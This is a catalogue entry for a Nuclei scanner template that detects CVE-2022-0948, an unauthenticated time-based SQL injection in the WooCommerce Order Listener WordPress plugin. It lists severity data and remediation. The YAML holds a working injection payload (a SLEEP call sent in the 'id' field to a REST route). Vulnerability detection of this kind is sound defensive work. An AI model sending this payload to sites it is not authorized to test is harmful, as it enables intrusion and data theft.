CVE-2022-0948: WordPress Order Listener for WooCommerce <3.2.2 - SQL Injection
- Template: CVE-2022-0948
- Name: WordPress Order Listener for WooCommerce <3.2.2 - SQL Injection
- Description: WordPress Order Listener for WooCommerce plugin before 3.2.2 contains a SQL injection vulnerability. The plugin does not sanitize and escape the id parameter before using it in a SQL statement via a REST route. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
- Impact: Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
- Remediation: Update the WordPress Order Listener for WooCommerce plugin to version 3.2.2 or later.
- Severity: critical
- Authors: theamanrawat
- Tags: time-based-sqli, cve, cve2022, wp, unauth, sqli, woc-order-alert, wpscan, wordpress, wp-plugin, pluginbazaar, vuln, vkev
- References: https://wpscan.com/vulnerability/daad48df-6a25-493f-9d1d-17b897462576, https://wordpress.org/plugins/woc-order-alert/, https://plugins.trac.wordpress.org/changeset/2707223, https://nvd.nist.gov/vuln/detail/CVE-2022-0948, https://github.com/ARPSyndicate/kenzer-templates
- Cves: CVE-2022-0948
- Verified: yes
- Max requests: 2
- Directory: http/cves
- Path: http/cves/2022/CVE-2022-0948.yaml
- Digest: 490a00463044022069d09f650c3c05c8ed70a403ef65074b47a86a6cee10aae829b217e6f1c7094902207d846d4837b1042cf94b659687860b8e78958ad734da1f83276e465addfc83d7
- Created at: 2022-12-08T09:25:59Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 1447
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0948.yaml
Classification
- Cwe: CWE-89
- Cvss score: 9.8
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Epss score: 0.09879
- Epss percentile: 0.95689
- Cpe: cpe:2.3:a:pluginbazaar:order_listener_for_woocommerce:*:*:*:*:*:wordpress:*:*
Metadata
- Framework: wordpress
- Max-request: 2
- Product: order_listener_for_woocommerce
- Vendor: pluginbazaar
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| pluginbazaar:order_listener_for_woocommerce | yes | /v1/products/pluginbazaar/order_listener_for_woocommerce |
Labels
- Name: WordPress WooCommerce Order Listener - SQL Injection
- Impact: Attackers can retrieve sensitive data, modify orders, or perform unauthorized admin actions on the site.
- Remediation: Update to version 3.2.2 or later.
- Vulnerability type: sql_injection
- Vulnerability impact: information_disclosure, data_tampering
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2022-0948
- Not known: requirements
```yaml
id: CVE-2022-0948
info:
name: WordPress Order Listener for WooCommerce <3.2.2 - SQL Injection
author: theamanrawat
severity: critical
description: |
WordPress Order Listener for WooCommerce plugin before 3.2.2 contains a SQL injection vulnerability. The plugin does not sanitize and escape the id parameter before using it in a SQL statement via a REST route. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
remediation: |
Update the WordPress Order Listener for WooCommerce plugin to version 3.2.2 or later.
reference:
- https://wpscan.com/vulnerability/daad48df-6a25-493f-9d1d-17b897462576
- https://wordpress.org/plugins/woc-order-alert/
- https://plugins.trac.wordpress.org/changeset/2707223
- https://nvd.nist.gov/vuln/detail/CVE-2022-0948
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-0948
cwe-id: CWE-89
epss-score: 0.09879
epss-percentile: 0.95689
cpe: cpe:2.3:a:pluginbazaar:order_listener_for_woocommerce:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: pluginbazaar
product: order_listener_for_woocommerce
framework: wordpress
tags: time-based-sqli,cve,cve2022,wp,unauth,sqli,woc-order-alert,wpscan,wordpress,wp-plugin,pluginbazaar,vuln,vkev
http:
- raw:
- |
@timeout: 15s
POST /?rest_route=/olistener/new HTTP/1.1
Host: {{Hostname}}
content-type: application/json
{"id":" (SLEEP(6))#"}
- |
GET /wp-content/plugins/woc-order-alert/assets/admin/js/scripts.js HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'duration_1>=6'
- 'status_code_1 == 200'
- 'contains(content_type_1, "application/json")'
- 'contains(body_2, "olistener-action.olistener-controller")'
condition: and
digest: 490a00463044022069d09f650c3c05c8ed70a403ef65074b47a86a6cee10aae829b217e6f1c7094902207d846d4837b1042cf94b659687860b8e78958ad734da1f83276e465addfc83d7:922c64590222798bb761d5b6d8e72950
```